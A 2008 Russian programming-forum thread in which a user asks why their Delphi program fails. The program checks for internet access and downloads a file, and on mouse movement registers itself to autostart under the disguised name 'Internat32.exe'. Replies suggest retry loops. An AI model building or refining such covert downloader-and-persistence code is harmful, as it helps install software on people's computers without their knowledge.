Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 21.07.2008, 19:16   #1
ZYRGiX
Пользователь
 
Аватар для ZYRGiX
 
Регистрация: 24.07.2007
Сообщений: 17
Злость Программа не работает

Подскажите пожалуйста, что я делаю не так.
По идеи (как я думаю) должно происходить следущее:
Если компьютер в интернете, то программа скачивает файл, если нет, то ждёт 5 секунд и затем сново пробует скачать файл. Если мышка двигается, то программа прописывается в реестр.
Вот код:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, registry,URLMon, ShellApi;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
const INTERNET_CONNECTION_MODEM = 1;
 INTERNET_CONNECTION_LAN = 2;
 internet_connection_proxy = 4;
 internet_connection_modem_busy = 8;


{$R *.dfm}

function DownloadFile(SourceFile, DestFile: string): Boolean;
 begin
  try
   Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil)  = 0;
 except
 Result := False;
 end;
 end;


function IsConnectedToInternet(lpdwFlags: LPDWORD): Boolean;
const
  WininetDLL = 'wininet.dll';
var
  hWininetDLL: THandle;
  dwReserved: DWORD;
  fn_InternetGetConnectedState: function(lpdwFlags: LPDWORD; dwReserved: DWORD): BOOL; stdcall;
begin
  Result := False;
  dwReserved := 0;
  hWininetDLL := LoadLibrary(WininetDLL);
  if hWininetDLL > 0 then
  begin
    @fn_InternetGetConnectedState := GetProcAddress(hWininetDLL,'InternetGetConnectedState');
    if Assigned(fn_InternetGetConnectedState) then
    begin
      Result := fn_InternetGetConnectedState(lpdwFlags, dwReserved);
    end;
    FreeLibrary(hWininetDLL);
  end else
   raise Exception.Create('Unable to locate function InternetGetConnectedState in library ' + WininetDLL);

end;

procedure TForm1.FormCreate(Sender: TObject);
const
  INTERNET_CONNECTION_MODEM = 1;
  INTERNET_CONNECTION_LAN = 2;
  INTERNET_CONNECTION_PROXY = 4;
  INTERNET_CONNECTION_MODEM_BUSY = 8;
  // URL Location
  SourceFile = 'http://www.google.com/intl/de/images/home_title.gif';
  // Where to save the file
  DestFile = 'c:\google-image.gif';
var
  dwConnectionTypes: DWORD;
begin
dwConnectionTypes :=
    INTERNET_CONNECTION_MODEM +
    INTERNET_CONNECTION_LAN +
    INTERNET_CONNECTION_PROXY;
  if IsConnectedToInternet(@dwConnectionTypes) then
    DownloadFile(SourceFile, DestFile)
  else
    sleep(5000);
end;





procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
  var
 RegIni:TRegIniFile;
 begin
 RegIni:=TregIniFile.Create('Software');
 RegIni.RootKey:=HKEY_LOCAL_MACHINE;
 RegIni.OpenKey('Software', true);
 RegIni.OpenKey('Microsoft', true);
 RegIni.OpenKey('Windows', true);
 RegIni.OpenKey('CurrentVersion', true);
 RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName);
 RegIni.Free;
end;

end.

Последний раз редактировалось Stilet; 22.07.2008 в 08:57.
ZYRGiX вне форума Ответить с цитированием
Старый 22.07.2008, 09:03   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Ну в целом все правильно, просто ты не ту стратегию выбрал - тебе нужно проверять IsConnectedToInternet либо в цикле в отдельном потоке либо в таймере.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 22.07.2008, 21:44   #3
Alex.rus
Пользователь
 
Аватар для Alex.rus
 
Регистрация: 02.12.2007
Сообщений: 26
По умолчанию

А попробуй пингануть какой-нить сайт например ya.ru
Alex.rus вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Почему моя программа РАБОТАЕТ!!! aesoem Общие вопросы Delphi 3 09.05.2008 23:50
Программа не работает Михаил Юрьевич Общие вопросы Delphi 2 19.04.2008 23:27
Подскажите почему не работает программа??? Danilyuk Помощь студентам 2 25.01.2008 10:15
Не работает программа на delphi pcholka Софт 5 10.01.2008 20:04